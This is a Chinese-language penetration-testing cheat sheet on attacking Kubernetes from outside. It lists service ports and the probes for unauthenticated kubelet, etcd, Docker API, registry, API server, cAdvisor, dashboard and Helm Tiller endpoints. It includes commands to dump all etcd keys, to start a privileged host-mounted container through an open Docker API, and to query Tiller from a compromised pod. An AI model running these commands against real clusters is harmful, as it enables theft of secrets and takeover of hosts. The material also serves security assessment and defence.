K8S攻击面梳理

如何识别K8S

通过一些常见的开放服务端口,可以判断是否跑了K8S服务,端口列表如下:

Control-plane Node(s)

Port Purpose Note
443/TCP Kube API Server Kubernetes API Port
6443/TCP Kube API Server Kubernetes API Port
8443/TCP Kube API Server Minikube API Port
8080/TCP Kube API Server Insecure K8s API Port
2379/TCP etcd Client Server etcd Storage
2380/TCP etcd Client Server etcd Storage
6666/TCP etcd Client Server etcd Storage
4194/TCP cAdvisor Container Matrics
10250/TCP Kubelet API  
10251/TCP Kube-scheduler  
10252/TCP controller-manager  
9099/TCP Calico-felix Health check Calico server
6782-4/TCP Weave Metrics and endpoints

Worker Node(s)

Port Purpose Note
10250 Kubelet API  
30000-32767/TCP NodePort Service  

外部视角如何攻击K8S

Kubelet未授权

10250/tcp - kubelet (kubelet exploit)
验证未授权,可以尝试访问以下路径:

/pods
/runningpods
/containerLogs

其次是默认10255端口,只读权限:
10255/tcp - kubelet port (read-only)
尝试通过以下路径获取信息:

/stats
/metrics
/pods

etcd未授权

2379/tcp - etcd (see it on other ports though)
可通过以下路径判断未授权:

/version
/v2/keys

Etcd存放了大量敏感配置信息,从 https://github.com/etcd-io/etcd/releases/ 下载得到etcdctl

ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=http://IP:2379 get {} >> output.data && echo "" >> output.data'

Docker Remote API未授权

2375/tcp docker
通过访问/info路径查看响应中是否含有关键词:"kind": "APIResourceList"

docker -H tcp://IP:2375 ps
docker -H tcp://IP:2375 run --rm -it --privileged --net=host -v /:/mnt alpine

Docker Registry v2 API未授权

8080/tcp Docker Registry (API: 2.0)
可通过访问/v2/_catalog路径判断未授权。

Kubernetes API Server未授权

443/6443 - Kube API Server
通过访问/api/v1路径查看响应中是否含有ContainersRunningDockerRootDir等关键词。

/api
/api/v1
/apis
/apis/
/apis/apps
/apis/apps/v1
/apis/autoscaling
/apis/autoscaling/v1
/apis/batch
/apis/batch/v1
...

cAdvisor未授权

4194/tcp - cAdvisor
尝试访问/api/v2.0/spec?recursive=true以JSON格式输出在主机上运行的所有容器的规范。

攻击dashboard

30000 - dashboard
默认情况下, dashboard是需要进行鉴权操作的,当用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录进入dashboard。

如何利用正在运行的Pod

获取shell后,很容易确认这是个在Kubernetes上运行的容器:

ls -l /.dockerenv
env | grep -i kube

攻击Helm

44134/tcp - Helmtiller, weave, calico
HelmKubernetes集群通信的方式是通过gRPCTiller-deploy pod
然后 pod 使用其服务帐户令牌与 Kubernetes API 对话。
当Helm从客户端运行命令时,在后台会打开一个端口转发到集群中以直接与Tiller-deploy服务对话,该服务始终指向44134/TCP上的Tiller-deploy pod

export HVER=v2.11.0
curl -L "https://storage.googleapis.com/kubernetes-helm/helm-${HVER}-linux-amd64.tar.gz" | tar xz --strip-components=1 -C /tmp linux-amd64/helm
/tmp/helm --host tiller-deploy.kube-system.svc.cluster.local:44134 ls

K8S安全评估工具